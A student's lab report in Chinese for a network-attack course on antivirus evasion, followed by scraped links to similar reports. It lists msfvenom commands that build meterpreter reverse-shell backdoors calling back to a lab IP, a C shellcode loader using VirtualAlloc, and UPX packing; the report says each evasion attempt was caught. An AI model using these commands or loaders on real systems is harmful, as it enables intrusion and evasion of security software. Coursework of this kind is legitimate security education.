2018-2019-2 20162318《网络对抗技术》Exp3 免杀原理与实践
一、实验内容
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion),加壳工具),使用shellcode编程
2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验步骤
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 使用msf编码器,生成exe文件
- step1. 直接上编码十次,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.99.100 LPORT=2318 -f exe > backdoor_10_zty.exe

- step2.将生成的后门上传至virscan网站,扫描结果如下:

2. 正确使用msf编码器,生成jar文件
- step1. 生成.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x > backdoor_zty_java.jar

- step2.将生成的后门上传至virscan网站,扫描结果如下:

- step3.修改名字,再次上传

3. 正确使用msf编码器,生成php文件
- step1.生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x> backdoor_zty_php.php

- step2.将生成的后门上传至virscan网站,扫描结果如下:

4. 正确使用msf编码器,生成Android后门程序
- step1.生成apk安装包
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 x> backdoor_zty_android.apk

- step2.将生成的后门上传至virscan网站,扫描结果如下:

5. 使用veil-evasion生成后门程序及检测
- step1. 安装veil....(安装了三天还在安装中....)

6.半手工注入Shellcode并执行
- step1. 使用下述命令生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.99.100 LPORT=2318 -f c

- step2.创建一个文件20162318.c
- step3.将unsigned chat buf[]复制进去,将其设置成函数,并执行

- step3. 编译20162318.c文件
i686-w64-mingw32-g++ 20162318.c -o 20162318.exe

- step4.上传检测

7.使用压缩壳
- step1. 使用压缩壳(UPX)
upx 20162318_c.exe -o zty_upx.exe

- step2.上传检测

任务二:通过组合应用各种技术实现恶意代码免杀
- step1.使用msf,生成shellcode(选择x86/shikata_ga_nai编码器迭代3次生成c代码)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 LHOST=192.168.99.100 LPORT=2318 -f c

- step2.创建文件backdoor_20162318.c
unsigned char buf[] =
“\xbe\x92\x8b\x66....
.....
.....
"\c3\2a";
int main()
{
void *exec=VirtualAlloc(o,sizeof buf,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(exec,buf,sizeof buf);
((void(*)())exec)();
}
- step3. 编译backdoor_20162318.c文件
i686-w64-mingw32-g++ backdoor_20162318.c -o backdoor_20162318.exe

- step4.使用360查杀....好吧,被查杀了

- step5.使用upx加壳,欧耶!成功了耶!!!结果...开心不到三秒就被查了(捂脸)

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
免杀方法:任务二中的exe文件+加密壳
实验环境:win10+360安全管家
- 然而刚刚拷到同学电脑上就被查杀了(捂脸)
三、实践基础问题回答
(1)杀软是如何检测出恶意代码的?
- 有一个叫做特征码库的东东,恶意代码一般都会有一些正常程序所没有的代码,杀软通过识别特征码库来检测恶意代码
- 恶意代码一般都会有异与正常软件的举动,杀软可以经过对其行为进行分析
(2)免杀是做什么?
免杀是让恶意代码改变其原有的外表,让杀软无法通过外表来判断,从而达到蒙糊过关的效果
(3)免杀的基本方法有哪些?
实验中用到的方法,例如:msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,半手工shellcode等等
3.开启杀软能绝对防止电脑中恶意代码吗?
不可能是绝对的杀软毕竟也靠搜集数据来进行杀毒,如果你自己悄悄的编写一个纯手工的恶意代码且不大规模使用,我认为杀软是检测不出你所写的恶意代码
四.问题分析与解决
问题1:由于周五的kali崩掉了,于是我在virtual中又重新装了一遍,之前是在VN中装的(改换了虚拟机),导致kali可以上网,但无法和主机ping通
解决:启用两个网卡,第二个网卡使用仅主机网络
2018-2019-2 20162318《网络对抗技术》Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- [转]使用 C++11 编写 Linux 多线程程序
前言 在这个多核时代,如何充分利用每个 CPU 内核是一个绕不开的话题,从需要为成千上万的用户同时提供服务的服务端应用程序,到需要同时打开十几个页面,每个页面都有几十上百个链接的 web 浏览器应用程 ...
- Win7下VS2010不能链接问题
装了2012准备学VC++窗体开发,然后发现手边只有VS2010的教程,于是卸掉VS2012改装VS2010,结果发现不管写啥,链接时都报错“error Link1123 转到coff期间失败”. 于 ...
- Linux设备驱动程序学习 高级字符驱动程序操作[阻塞型I/O和非阻塞I/O]【转】
转自:http://blog.csdn.net/jacobywu/article/details/7475432 阻塞型I/O和非阻塞I/O 阻塞:休眠 非阻塞:异步通知 一 休眠 安全地进入休眠的两 ...
- aarch64_n3
ntp-doc-4.2.8p10-1.fc26.noarch.rpm 2017-03-24 02:07 1.2M fedora Mirroring Project ntp-perl-4.2.8p10- ...
- ClientDataset 三层 var and out arguments must match parameter
将Delphi升级到10.1.2后,从客户端传ClientDataset的Delta数据到服务端程序时,出现var and out arguments must match parameter错 ...
- openjudge-NOI 2.5-1700 八皇后问题
题目链接:http://noi.openjudge.cn/ch0205/1700/ 题解: 经典深搜题目…… #include<cstdio> ][]; int num; void pri ...
- GLOBAL_NAMES参数研究
最近在配置Stream时,发现必须要把GLOBAL_NAMES参数的指设置为TRUE,具体原因为何不知.但是发现在设置了该参数之后,数据库每天的物化视图刷新出现了问题.之后查明原因,是DBLINK出现 ...
- require和import的区别
require:是一种common协议,大家按照这个约定书写自己的代码,实现模块化. import:是ES6的模块语法实现.是语言自身的模块实现.
- TDictionary 与 TObjectDictionary
TDictionary 与 TObjectDictionary 的区别是 : TObjectDictionary 可以做到 free的时候 里面的对象 一并free,从而不会出现内存 泄露. 用途: ...
- [扩展推荐] Laravel 中利用 GeoIP 获取用户地理位置信息
我最近需要一个用户地域检测来设置用户的默认区域和货币.由 Daniel Stainback 创建的 torann/geoip 很好地满足为Laravel 5 项目提供 GeoIP 服务的要求. 这个 ...